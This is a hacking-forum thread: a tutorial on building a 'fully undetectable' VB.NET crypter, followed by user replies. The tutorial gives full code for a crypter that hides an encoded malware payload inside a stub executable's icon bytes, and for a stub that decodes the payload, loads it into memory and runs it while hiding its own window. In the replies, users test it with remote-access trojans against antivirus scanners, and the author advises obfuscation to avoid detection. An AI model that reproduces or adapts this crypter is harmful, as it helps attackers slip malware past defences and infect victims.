[stefsot]

THIS TUTORIAL IS DAMN OLD

See also: https://hackforums.net/showthread.php?tid=1112405

Today I released my new 100% FUD crypter with new method. So in this thread I will expain how it works and how you can build your own FUD crypter (just give credits).

Introduction
As we know to make a crypter we need to combine both stub and virus (I'll be calling it virus) into a new file (the server). The are several ways of doing it. The most common is to open the stub add a specified string (so we can split it) at and throw the crypted virus at the end of the stub (EOF). Another way is to throw the crypted virus into the resources of the stub and call it whenever we want. These ways are very common and consequently easily detected. The best way to make a crypter is using codedom. Such applications are hard and very delicated. Anyway the method I'm using is similar to the second way but not the same. So what I'm doing different? This might sound easy or "crazy" but took A LOT of time to think it. I'm just getting the virus's bytes and clone it into the icon of the stub, yes the icon! Experimenting, some few days a go, I found I could turn an application into a working .png (so .jpg and .ico files should work) file bypassing EVERY AV. In theory I could turn my virus into an .png (or .ico) file (and I don't mean changing the extention!), add it in my stub's resources and call it whenever I want. This was good for spreading my virus, but not for creating a crypter. Eventualy the solution was to build the stub with a big in size icon and change the bytes storing the virus. Summing up, that we're gonna to do is: to find the offset were the icon starts and changed its bytes with virus's one.

Getting Started
The first thing he have to do is to build the stub. Make a new project, with a name you choose. Change the text of the form to nothing, make opacity 0% and size 0;0. Secondly find a big in size icon and it to the form1 (I personaly use 280k byte icon, but the bigger it is the better). Build your application. Continueing make a new project, the name is not import, this will only be a support application that will help us generate and build the crypter. For avoiding confusion I will be calling the first project (the stub) as project1 and the second project (the second one) as project2.

In project2 add a button and a textbox. Write click the form and select "view source". Add this code in your class:

Code

Function get_offset(ByVal app_path As String, ByVal icon_path As String)
  Dim o As Byte() = IO.File.ReadAllBytes(icon_path)
  Dim f As Byte() = IO.File.ReadAllBytes(app_path)
  Dim k As Integer = 0
  For i = 0 To f.Count - 1
    If f(i) = o(0) Then
    For i2 = i To i + o.Count - 1
    If Not k = o.Count - 1 Then
    If f(i2) = o(i2 - i) Then
    k += 1
    Else
    k = 0
    Exit For
    End If
    Else
    Return i
    Exit Function
    End If
    Next
    End If
  Next
    End Function

This function will return the number of byte in your buoled stub were the icon code starts.

Now double click the button and add this code

Code

dim p as string = 'the path to your stub (compiled project1)
dim b as string = 'the path to your icon you added in the stub
Textbox1.text = get_offset(p, b)

Now run the project2 and click the button1. The textbox1 should come up with an integer (the byte\offest, were the icon starts), write it down (we gonna need this).

Building the main crypter
Since we have the offset of the icon (I will be calling just offset), we got the bytes that we can modify in the stub without causing errors. Make a third project (this will be our main crypter), I will be calling it project3.

In project3 add 2xTextbox and 1xButton. The textbox1 will be the file we want to crypt and the Textbox2 the path we want to save it. The button will just do all the stuff. Double click the button and add this code

Code

If TextBox1.TextLength = 0 Then
    MsgBox("Please Select File to crypt!", MsgBoxStyle.Information)
    Exit Sub
  End If
  If TextBox2.TextLength = 0 Then
    MsgBox("Please select were you want to save crypted file!", MsgBoxStyle.Information)
    Exit Sub
  End If
  '--
  Dim inject As Byte() = Secure(IO.File.ReadAllBytes(TextBox1.Text))
  If inject.Count > 286356 Then
    MsgBox("The file you want to crypt is to big! Please select a file between 0 and 286356  bytes.", MsgBoxStyle.Critical)
    Exit Sub
  End If
  Dim q As String() = Split(IO.File.ReadAllText(Application.ExecutablePath), "(12345)&(12345)")
  Dim f As Byte() = Convert.FromBase64String(q(1))
  For i As Integer = 1673 + 500 To 1673 + 500 + inject.Count - 1
    f(i) = inject(i - 1673 - 500)
  Next
  Dim c As String = inject.Count.ToString
  Dim d() As String
  ReDim d(c.Length)
  Dim n As Integer = 0
  For Each kl As Char In c
    If Not c = "." Then
    d(n) = kl
    n += 1
    End If
  Next
  For i = 1673 + 287356 - 500 To 1673 + 287356 - 500 + d.Count - 1
    f(i) = d(i - (1673 + 287356 - 500))
  Next
  f(1673 + 287356 - 500 + d.Count - 1) = &HAA
  Try
    IO.File.WriteAllBytes(TextBox2.Text, f)
  Catch ex As Exception
    MsgBox("Failed to save the file! Reason: " & ex.Message, MsgBoxStyle.Critical)
    Exit Sub
  End Try
  MsgBox("File successfully crypted!", MsgBoxStyle.Information)

You will also need this

Code

Function Secure(ByVal data As Byte()) As Byte()
  For i = 0 To data.Count - 1
    If Not data(i) = 0 Then
    data(i) -= 1
    Else
    data(i) = 255
    End If
  Next
  Return data
    End Function

I will now expain it:
-The first lines (before the '--) are checking whether we have added the necessary paths.

Code

Dim inject As Byte() = Secure(IO.File.ReadAllBytes(TextBox1.Text))
  If inject.Count > 286356 Then
    MsgBox("The file you want to crypt is to big! Please select a file between 0 and 286356  bytes.", MsgBoxStyle.Critical)
    Exit Sub
  End If

Variable inject is the file we want to crypt in bytes.
"> 286356" This number is the icon's size (that we used in the project1 subtracted by 1000, do the same by adding your number). The code that remains it speaks by itself. The file must have a necessary number of bytes (not bigger than icon's size -1000, that's why we need a big in size icon)

Code

Dim q As String() = Split(IO.File.ReadAllText(Application.ExecutablePath), "(12345)&(12345)")
Dim f As Byte() = Convert.FromBase64String(q(1))

In these lines the program gets itself, and splits itself using "(12345)&(12345)" this as split word and gets the bytes of the stub. We'll compile the stub into the main crypter later.

Code

For i As Integer = 1673 + 500 To 1673 + 500 + inject.Count - 1
    f(i) = inject(i - 1673 - 500)
  Next

Before I explain the code I must declare the numbers. "1673" is the offset that we got (change it with yours) and "500" are the forst 500 bytes of the icon. We should change them as the modification of the very first bytes will just crash our application. Now, this code will get the f() which is our stub and modify the icon's bytes. So far we're ok. Our problem is that we must also store the virus's length in order to let the stub know how many bytes to read. The following code will do the stuff (no I won't explain this line by line, sorry)

Code

Dim c As String = inject.Count.ToString
  Dim d() As String
  ReDim d(c.Length)
  Dim n As Integer = 0
  For Each kl As Char In c

    If Not c = "." Then
    d(n) = kl
    n += 1
    End If
  Next
  For i = 1673 + 287356 - 500 To 1673 + 287356 - 500 + d.Count - 1
    f(i) = d(i - (1673 + 287356 - 500))
  Next
  f(1673 + 287356 - 500 + d.Count - 1) = &HAA

So the remaining code will just save the new file

Code

Try
    IO.File.WriteAllBytes(TextBox2.Text, f)
  Catch ex As Exception
    MsgBox("Failed to save the file! Reason: " & ex.Message, MsgBoxStyle.Critical)
    Exit Sub
  End Try
  MsgBox("File successfully crypted!", MsgBoxStyle.Information)

Build project3. Our crypter is almost ready (we won't use anymore project3, you can close it).

Building our Stub
Go back to project1 write click it and replace all the code with this

Code

Imports System.Reflection
Imports System.Runtime.CompilerServices
Public Class Form1
    Dim t As Threading.Thread = New Threading.Thread(AddressOf run_bytes)
    Dim icon_length As Integer = 287356
    Dim mikos As String
    Dim locationstart As Integer = 1673 + icon_length - 500
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  On Error Resume Next
  Me.Location = New Point(-50, -50)
  Dim f As Byte() = IO.File.ReadAllBytes(Application.ExecutablePath)
  For i = locationstart To locationstart + 7
    If Not f(i) = &HAA Then
    mikos &= f(i)
    Else
    Exit For
    End If
  Next
  Dim b As Byte()
  ReDim b(mikos)
  For i = 1673 + 500 To 1673 + 500 + mikos - 2
    b(i - 1673 - 500) = f(i)
  Next
  Dim new_ As Byte()
  ReDim new_(b.Count - 2)
  For i = 0 To b.Count - 3
    new_(i) = b(i)
  Next
  t.Start(ERWTVTHCGAFSEDSEDAEDscsegef(new_))
  me.hide()
    End Sub
    Private Sub run_bytes(ByVal bytes As Byte())
  Dim assembly As Assembly = assembly.Load(bytes)
  Dim entryPoint As MethodInfo = [assembly].EntryPoint
  Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
  entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
    End Sub
    Function ERWTVTHCGAFSEDSEDAEDscsegef(ByVal data As Byte()) As Byte()  'unsecure
  For i = 0 To data.Count - 1
    If Not data(i) = 255 Then
    data(i) += 1
    Else
    data(i) = 0
    End If
  Next
  Return data
    End Function
End Class

In this code we have the Unsecure algorythm, that will unsecure, the secured bytes.

Code

Function ERWTVTHCGAFSEDSEDAEDscsegef(ByVal data As Byte()) As Byte()  'unsecure
  For i = 0 To data.Count - 1
    If Not data(i) = 255 Then
    data(i) += 1
    Else
    data(i) = 0
    End If
  Next
  Return data
    End Function

And our runpe function

Code

Private Sub run_bytes(ByVal bytes As Byte())
  Dim assembly As Assembly = assembly.Load(bytes)
  Dim entryPoint As MethodInfo = [assembly].EntryPoint
  Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
  entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
    End Sub

Now we must do some modifications.
Change the integer " Dim icon_length As Integer = 287356" to your icon's size (bytes)

Change the 1673 to the offset we found "Dim locationstart As Integer = 1673 + icon_length - 500"

In the form_load event change the the number "1673" with your offset.
I will not really expain the stub as it's easy. It just reads the size of the file that has been "injected", reads it and runs it. Build your stub.

Go to project2 add a new button, double click it and write this

Code

Dim stub As String = Convert.ToBase64String(IO.File.ReadAllBytes("C:\stub.exe"))

  IO.File.AppendAllText("C:\v2.exe", "(12345)&(12345)" & stub)

Just copy your main crypter (compiled project3) in "C:\v2.exe" and your stub (compiled project1) in "C:\stub.exe". Run project2 and click your second button in order to combine both crypter and stub. If no errors came up, then the "C:\v2.exe" is our complete crypter and ready to be used.

Request
If you use this please give credits and reply. Post any errors here and ask help. DO NOT LEECH IT especialy on other forums.

UnKnoWn Crypter Tut by stefsot

[Eternity]

This seem's pretty legit to me, also well explained. Well done man.

[50GTB]

lets hope this code does't get leeched nice work there ! +3rep dude

[stefsot]

lets hope this code does't get leeched nice work there ! +3rep dude

thank you for you support. too bad that the error in database is always affecting my post -.-

[Internap.]

so nice post mate but i tested that yesterday and it makes 4 / 33 detections an scan4you.biz ... on novirusthanks its FUD i know but there are not 33 av engines .. also the files are all get corrupted i tested blackshades, cybergate. You tell its the runpe but where should we get a good one that works ? ;) also the stub is detected ;) how can we fix that ?

Greetings

[stefsot]

so nice post mate but i tested that yesterday and it makes 4 / 33 detections an scan4you.biz ... on novirusthanks its FUD i know but there are not 33 av engines .. also the files are all get corrupted i tested blackshades, cybergate. You tell its the runpe but where should we get a good one that works ? ;) also the stub is detected ;) how can we fix that ?

Greetings

the stub is detected, since it's a public crypter. Obfuscate it a little and try renaming the variables. As for the runpe you can search for a better one.

I'm currently updating my crypter and a much more better version will come shortly. Unfortunately i won't update the tutorial, since I'm showing you a basic way on how to code your crypter. The key is in stub, since the storing method is new, working and completely undetected by AVs.

[hacphongthan]

nice tut
but when it detect how can we refud this

[stefsot]

nice tut
but when it detect how can we refud this

I already answered above ;)

[Superman²]

Thanks for that ! I really enjoy people like you.

[Androcir]

Nice Tutorial Man, well done!!

[stefsot]

Thanks for that ! I really enjoy people like you.

I'm pleased with your comment ;)

[hazzy]

After doing all the steps, when I click the button to crypt the file I get:

Index was outside the bounds of the array.

EDIT: sorted it now but when running my crypted fille it instantly stops working.

[iGazzy]

copied everything. When I press play it basically says that it cannot locate what I just made.

[stefsot]

EDIT: sorted it now but when running my crypted fille it instantly stops working.

It's the runpe. The runpe i provided works for dynamically managed applications.

[A B c]

lets hope this code does't get leeched nice work there ! +3rep dude

Dude first of all I just wanted to say your sig is the SHIT!
Anyways thanks for the tut bro it helped me out a lot and I look forward to seeing more work from you man keep it up.